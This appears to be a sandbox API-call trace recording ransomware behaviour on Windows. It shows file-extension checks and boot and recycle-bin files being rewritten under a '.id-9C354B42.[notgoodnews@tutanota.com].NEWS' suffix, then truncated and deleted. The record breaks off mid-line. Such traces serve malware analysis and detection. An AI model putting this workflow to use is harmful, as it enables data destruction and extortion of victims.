[0071.078] GetTickCount () returned 0x115b00e [0071.078] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0071.444] GetTickCount () returned 0x115b175 [0071.444] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0071.911] GetTickCount () returned 0x115b349 [0071.911] GetTickCount () returned 0x115b349 [0071.911] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.650] GetTickCount () returned 0x115b636 [0072.651] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0072.916] GetTickCount () returned 0x115b73f [0072.916] GetTickCount () returned 0x115b73f [0072.916] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xbc0 [0043.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x64e5d8 [0043.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x65e5e0 [0043.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6109f0 [0043.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5fa378 [0043.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a08 [0043.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x2ee0020 [0043.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a20 [0043.650] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610a20, Size=0x20) returned 0x5f5c28 [0043.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a20 [0043.650] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610a20, Size=0x20) returned 0x5f5c00 [0043.650] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0043.650] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0043.650] Wow64DisableWow64FsRedirection (in: OldValue=0x221ff58 | out: OldValue=0x221ff58*=0x0) returned 1 [0043.650] lstrlenW (lpString="kernel32.dll") returned 12 [0043.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c28 | out: hHeap=0x5c0000) returned 1 [0043.650] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0043.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c00 | out: hHeap=0x5c0000) returned 1 [0043.650] Sleep (dwMilliseconds=0x64) [0043.878] Sleep (dwMilliseconds=0x64) [0044.196] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0044.196] lstrlenW (lpString="desktop.ini") returned 11 [0044.196] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0044.197] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=129) returned 1 [0044.197] CloseHandle (hObject=0x164) returned 1 [0044.197] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0044.197] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.197] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0044.197] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.197] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.197] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0044.198] GetLastError () returned 0x0 [0044.198] ReadFile (in: hFile=0x164, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x81, lpOverlapped=0x0) returned 1 [0044.226] WriteFile (in: hFile=0x168, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x90, lpOverlapped=0x0) returned 1 [0044.228] ReadFile (in: hFile=0x164, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.228] WriteFile (in: hFile=0x168, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.228] SetEndOfFile (hFile=0x168) returned 1 [0044.228] CloseHandle (hObject=0x168) returned 1 [0044.229] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.229] SetEndOfFile (hFile=0x164) returned 1 [0044.231] CloseHandle (hObject=0x164) returned 1 [0044.231] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0044.232] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0044.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.232] lstrlenW (lpString=".doc") returned 4 [0044.232] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0044.232] lstrlenW (lpString=".docx") returned 5 [0044.232] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0044.232] lstrlenW (lpString=".pdf") returned 4 [0044.233] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0044.233] lstrlenW (lpString=".xls") returned 4 [0044.233] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0044.233] lstrlenW (lpString=".xlsx") returned 5 [0044.233] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0044.233] lstrlenW (lpString=".ppt") returned 4 [0044.233] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0044.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.233] lstrlenW (lpString=".zip") returned 4 [0044.233] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0044.233] lstrlenW (lpString=".rar") returned 4 [0044.233] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0044.233] lstrlenW (lpString=".bz2") returned 4 [0044.233] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0044.233] lstrlenW (lpString=".7z") returned 3 [0044.233] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0044.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.233] lstrlenW (lpString=".dbf") returned 4 [0044.233] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0044.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.234] lstrlenW (lpString=".1cd") returned 4 [0044.234] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0044.234] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.234] lstrlenW (lpString=".jpg") returned 4 [0044.234] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0044.234] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.234] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.234] lstrlenW (lpString=".doc") returned 4 [0044.234] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0044.234] lstrlenW (lpString=".docx") returned 5 [0044.234] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0044.234] lstrlenW (lpString=".pdf") returned 4 [0044.234] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0044.234] lstrlenW (lpString=".xls") returned 4 [0044.234] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0044.234] lstrlenW (lpString=".xlsx") returned 5 [0044.234] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0044.234] lstrlenW (lpString=".ppt") returned 4 [0044.235] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0044.235] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.235] lstrlenW (lpString=".zip") returned 4 [0044.235] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0044.235] lstrlenW (lpString=".rar") returned 4 [0044.235] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0044.235] lstrlenW (lpString=".bz2") returned 4 [0044.235] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0044.235] lstrlenW (lpString=".7z") returned 3 [0044.235] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0044.235] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.235] lstrlenW (lpString=".dbf") returned 4 [0044.235] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0044.235] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.235] lstrlenW (lpString=".1cd") returned 4 [0044.235] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0044.235] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0044.235] lstrlenW (lpString=".jpg") returned 4 [0044.235] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0044.236] lstrcmpiW (lpString1=".LOG", lpString2=".NEWS") returned -1 [0044.236] lstrlenW (lpString="BCD.LOG") returned 7 [0044.236] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.236] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.236] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.236] lstrlenW (lpString=".doc") returned 4 [0044.236] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0044.236] lstrlenW (lpString=".docx") returned 5 [0044.236] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0044.236] lstrlenW (lpString=".pdf") returned 4 [0044.236] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0044.237] lstrlenW (lpString=".xls") returned 4 [0044.237] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0044.237] lstrlenW (lpString=".xlsx") returned 5 [0044.237] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0044.237] lstrlenW (lpString=".ppt") returned 4 [0044.237] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0044.237] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.237] lstrlenW (lpString=".zip") returned 4 [0044.237] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0044.237] lstrlenW (lpString=".rar") returned 4 [0044.237] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0044.237] lstrlenW (lpString=".bz2") returned 4 [0044.237] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0044.237] lstrlenW (lpString=".7z") returned 3 [0044.237] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0044.237] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.237] lstrlenW (lpString=".dbf") returned 4 [0044.237] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0044.237] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.238] lstrlenW (lpString=".1cd") returned 4 [0044.238] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0044.238] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.238] lstrlenW (lpString=".jpg") returned 4 [0044.238] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0044.238] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.238] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.238] lstrlenW (lpString=".doc") returned 4 [0044.238] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0044.238] lstrlenW (lpString=".docx") returned 5 [0044.238] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0044.238] lstrlenW (lpString=".pdf") returned 4 [0044.238] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0044.238] lstrlenW (lpString=".xls") returned 4 [0044.238] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0044.238] lstrlenW (lpString=".xlsx") returned 5 [0044.238] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0044.238] lstrlenW (lpString=".ppt") returned 4 [0044.238] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0044.238] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.239] lstrlenW (lpString=".zip") returned 4 [0044.239] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0044.239] lstrlenW (lpString=".rar") returned 4 [0044.239] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0044.239] lstrlenW (lpString=".bz2") returned 4 [0044.239] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0044.239] lstrlenW (lpString=".7z") returned 3 [0044.239] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0044.239] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.239] lstrlenW (lpString=".dbf") returned 4 [0044.239] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0044.239] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.239] lstrlenW (lpString=".1cd") returned 4 [0044.239] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0044.239] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.239] lstrlenW (lpString=".jpg") returned 4 [0044.239] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0044.240] lstrcmpiW (lpString1=".DAT", lpString2=".NEWS") returned -1 [0044.240] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0044.240] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.751] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=65536) returned 1 [0044.751] CloseHandle (hObject=0x16c) returned 1 [0044.752] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0044.752] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.752] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.752] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.752] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.752] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.753] GetLastError () returned 0x0 [0044.753] ReadFile (in: hFile=0x16c, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x10000, lpOverlapped=0x0) returned 1 [0044.761] WriteFile (in: hFile=0x178, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0044.765] ReadFile (in: hFile=0x16c, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.765] WriteFile (in: hFile=0x178, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.765] SetEndOfFile (hFile=0x178) returned 1 [0044.766] CloseHandle (hObject=0x178) returned 1 [0044.768] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.768] SetEndOfFile (hFile=0x16c) returned 1 [0044.770] CloseHandle (hObject=0x16c) returned 1 [0044.770] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0044.771] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0044.772] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.772] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.772] lstrlenW (lpString=".doc") returned 4 [0044.772] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0044.772] lstrlenW (lpString=".docx") returned 5 [0044.772] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0044.772] lstrlenW (lpString=".pdf") returned 4 [0044.772] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0044.772] lstrlenW (lpString=".xls") returned 4 [0044.772] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0044.772] lstrlenW (lpString=".xlsx") returned 5 [0044.772] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0044.772] lstrlenW (lpString=".ppt") returned 4 [0044.772] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0044.772] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.772] lstrlenW (lpString=".zip") returned 4 [0044.773] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0044.773] lstrlenW (lpString=".rar") returned 4 [0044.773] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0044.773] lstrlenW (lpString=".bz2") returned 4 [0044.773] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0044.773] lstrlenW (lpString=".7z") returned 3 [0044.773] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0044.773] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.773] lstrlenW (lpString=".dbf") returned 4 [0044.773] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0044.773] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.773] lstrlenW (lpString=".1cd") returned 4 [0044.773] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0044.773] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.773] lstrlenW (lpString=".jpg") returned 4 [0044.773] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0044.773] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.773] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.774] lstrlenW (lpString=".doc") returned 4 [0044.774] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0044.774] lstrlenW (lpString=".docx") returned 5 [0044.774] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0044.774] lstrlenW (lpString=".pdf") returned 4 [0044.774] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0044.774] lstrlenW (lpString=".xls") returned 4 [0044.774] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0044.774] lstrlenW (lpString=".xlsx") returned 5 [0044.774] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0044.774] lstrlenW (lpString=".ppt") returned 4 [0044.774] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0044.774] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.774] lstrlenW (lpString=".zip") returned 4 [0044.774] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0044.774] lstrlenW (lpString=".rar") returned 4 [0044.774] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0044.774] lstrlenW (lpString=".bz2") returned 4 [0044.774] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0044.775] lstrlenW (lpString=".7z") returned 3 [0044.775] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0044.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.775] lstrlenW (lpString=".dbf") returned 4 [0044.775] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0044.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.775] lstrlenW (lpString=".1cd") returned 4 [0044.775] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0044.775] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.775] lstrlenW (lpString=".jpg") returned 4 [0044.775] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0044.775] lstrcmpiW (lpString1=".BAK", lpString2=".NEWS") returned -1 [0044.775] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0044.775] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.782] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=8192) returned 1 [0044.783] CloseHandle (hObject=0x174) returned 1 [0044.837] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0044.837] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\bootsect.bak.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.837] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0044.838] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.838] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.838] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.838] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\bootsect.bak.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.845] GetLastError () returned 0x0 [0044.845] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x2000, lpOverlapped=0x0) returned 1 [0044.877] WriteFile (in: hFile=0x16c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0044.879] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.879] WriteFile (in: hFile=0x16c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.879] SetEndOfFile (hFile=0x16c) returned 1 [0044.883] CloseHandle (hObject=0x16c) returned 1 [0044.885] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.885] SetEndOfFile (hFile=0x178) returned 1 [0044.887] 